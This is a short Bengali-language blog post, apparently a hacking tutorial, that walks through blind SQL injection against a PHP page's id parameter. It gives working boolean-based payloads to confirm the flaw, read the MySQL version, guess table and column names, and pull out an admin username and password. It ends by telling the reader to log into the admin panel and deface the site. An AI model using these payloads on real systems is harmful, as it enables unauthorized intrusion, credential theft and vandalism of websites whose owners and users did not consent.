( ১ ). Vulnerablity বের করা ঃ
সাইটটি Vulnerable
কিনা দেখার জন্য লিংকের শেষে লিখুন "and
1=2"
উদাহরন : http://example.com/index.php?id=2
and 1=2
1=2 সব সময়ই মিথ্যা । এখন যদি পেজে কোন image/text অথবা যেকোনো কিছু মুছে যায় তবে বুঝতে হবে সাইটটি VulnerableVvv Vulnerable ।
( ২ ) MySQL ভার্সন বের করা ঃ
ভার্সন বের করতে নিচের মত লিখব
http:// example.com/index.php?Id=2 and
substring(@@version,1,1)=5
এখন পেজটি যদি নরমাল ভাবে LOAD হয় তাহলে বুঝতে
হবে MySQL
ভার্সন ৫ । আর যদি না হয় তবে নিচের মত লিখব
http:// example.com/index.Php?Id=2 and substring(@@version,1,1)=4
এবার পেজ Normally LOAD হলে
বুঝতে হবে ভার্সন ৪ ।
( ৩ ) টেবিল নাম Guess করা ঃ
http:// example.com/index.php?id=1 and (select 1 from table_name
limit 0,1)=1
[ table_name এর জায়গায় Guess করে টেবিল নাম লিখতে হবে ]
যদি পেজটি Normally LOAD হয়
তাহলে বুঝতে হবে টেবিলটি DATABASE এ আছে ।
মনে করি টেবিল নাম নিলাম admin । তাহলে পুরা
লিঙ্কটি হবে ঃ
http:// example.com/index.php?id=1 and (select 1 from admin
limit 0,1)=1
( ৪ ) টেবিলে কলাম নাম Guess করা ঃ
http:// example.com/index.php?id=1 and (select
substring(concat (1,guessed column),1,1) from table limit 0,1)=1
ধরি admin টেবিল থেকে
আমরা username
এবং password কলাম পেয়েছিলাম
। তাহলে এখন ইউজার নাম বের করতে লিখব এভাবে ঃ
http://example.com/index.php?id=1 and (select
substring(concat (1,username),1,1) from admin limit 0,1)=1
[ Password বের করার সময়
উপরের লাইনের username এর জায়গায় password লিখতে হবে ]
ব্যাস username & password পেয়ে
গেলে সাইটটির এডমিন প্যানেল খুজে বের করে লগইন করে সাইট Deface দিতে হবে ।






0 comments:
Post a Comment